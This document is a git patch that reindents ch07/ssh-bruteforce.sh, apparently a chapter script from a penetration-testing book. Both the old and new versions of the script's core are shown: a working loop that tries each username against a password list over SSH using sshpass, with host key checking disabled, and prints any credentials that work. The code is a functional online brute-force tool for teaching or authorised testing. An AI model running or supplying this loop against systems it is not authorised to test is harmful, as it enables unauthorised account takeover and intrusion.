From aecc1295a63496d3bd60b7c59546a7dfd83f0842 Mon Sep 17 00:00:00 2001 From: Dolev Farhi Date: Mon, 22 Apr 2024 23:26:31 -0400 Subject: [PATCH] 2 spaces not tabs --- ch07/ssh-bruteforce.sh | 29 ++++++++++++++--------------- 1 file changed, 14 insertions(+), 15 deletions(-) diff --git a/ch07/ssh-bruteforce.sh b/ch07/ssh-bruteforce.sh index 6f0de86..d2802bc 100755 --- a/ch07/ssh-bruteforce.sh +++ b/ch07/ssh-bruteforce.sh @@ -12,21 +12,20 @@ echo "Starting SSH credential testing..." # Loop through each combination of usernames and passwords for username in "${USERNAMES[@]}"; do - while IFS= read -r password; do - echo "Testing credentials: ${username} / ${password}" - - # Check the exit code to determine if the login was successful - if sshpass -p "${password}" ssh -o "StrictHostKeyChecking=no" -p "${PORT}" "${username}@${TARGET}" exit >/dev/null 2>&1; then - echo "Successful login with credentials:" - echo "Host: ${TARGET}" - echo "Username: ${username}" - echo "Password: ${password}" - - # Perform additional actions here using the credentials - - exit 0 - fi - done < "${PASSWORD_FILE}" + while IFS= read -r password; do + echo "Testing credentials: ${username} / ${password}" + + # Check the exit code to determine if the login was successful + if sshpass -p "${password}" ssh -o "StrictHostKeyChecking=no" -p "${PORT}" "${username}@${TARGET}" exit >/dev/null 2>&1; then + echo "Successful login with credentials:" + echo "Host: ${TARGET}" + echo "Username: ${username}" + echo "Password: ${password}" + + # Perform additional actions here using the credentials + exit 0 + fi + done < "${PASSWORD_FILE}" done echo "No valid credentials found."